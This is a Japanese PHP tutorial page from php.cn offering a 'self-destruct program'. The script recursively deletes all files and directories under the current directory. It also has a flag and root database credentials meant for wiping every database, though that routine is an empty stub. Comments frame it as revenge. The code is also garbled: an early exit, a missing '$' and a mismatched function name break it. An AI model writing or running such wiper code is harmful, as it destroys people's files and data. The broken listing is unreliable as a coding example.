ホームページ > バックエンド開発 > PHPチュートリアル > PHP 自己破壊プログラム (使用には注意が必要です)

PHP 自己破壊プログラム (使用には注意が必要です)

WBOY
リリース: 2016-07-25 08:44:47
オリジナル
880 人が閲覧しました

この記事の例では、PHP 自己破壊プログラムについて説明します。皆さんの参考に共有してください。具体的な実装方法は以下の通りです

  1. // +------------------------------------- -------- ----------------------------------
  2. // 殺せ!!
  3. | // | プログラムはこのディレクトリ内のすべてのファイルをクリアします。 ファイル、ディレクトリ
  4. // | データベース情報が設定されている場合は、すべてのデータベースとテーブルのデータを削除してみてください (権限が十分である場合)
  5. // +----- ------------ -------------------------------------- ------------- ---
  6. // バージョン: $Id$
  7. // +---------------------- ------------ ---------------------------------------------------
  8. / /----------データベース設定エリア---------------------
  9. //復讐の力は恐ろしいのでデータベースの指定は不要です、すべて削除してください。
  10. define('DB_USER', 'root');
  11. define('DB_PWD', 'root');
  12. define('DB_HOST', 'localhost');
  13. define('DB_PORT', '3216');
  14. define ('DB_DAMAGE', true); // false の場合、データベースにはアクセスしません
  15. run();
  16. /**
  17. * チュチェ思想は輝かしく偉大なものでなければなりません!
  18. *
  19. * @return void
  20. **/
  21. function run()
  22. {
  23. //ファイルを削除します
  24. deleteir( );
  25. / /データベースを削除
  26. deleteDB();
  27. }
  28. /**
  29. * ははは、現在のディレクトリ内のすべてのファイルを (再帰的に) 削除してください
  30. *
  31. * @return void
  32. **/
  33. function deleteir($dir = ''){
  34. if ($dir == '') {
  35. $dir = realpath ('.' );
  36. }
  37. echo $dir;
  38. exit();
  39. if(!handle=@opendir($dir)){
  40. //開くディレクトリが存在するか確認
  41. die("存在しないそのようなディレクトリ");
  42. }
  43. while(false !==($file=readdir($handle))){
  44. if($file!=="."&&$file!==".."){
  45. // 現在のディレクトリと親ディレクトリを除外します
  46. $file=$dir .DIRECTORY_SEPARATOR. $file;
  47. if(is_dir($file)){
  48. selectedir($file);
  49. }else{
  50. if(@unlink($file) )){
  51. echo "ファイル$file削除に成功しました。
    ";
  52. }else{
  53. echo "ファイル$file削除に失敗しました!
    " ;
  54. }
  55. }
  56. }
  57. if(@rmdir($dir)){
  58. echo "ディレクトリ$dirは正常に削除されました。
    n";
  59. }else{
  60. echo "ディレクトリ< ;b>$ dir削除に失敗しました!
    n";
  61. }
  62. }
  63. /**
  64. * ははは、データベースを削除してください
  65. *
  66. * @return void
  67. **/
  68. function deleteDB()
  69. {
  70. if(DB_DAMAGE === true){
  71. //start
  72. }
  73. }
コードをコピー

この記事で説明した内容が皆様の PHP プログラミング設計に役立つことを願っています。

PHP


関連ラベル:
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート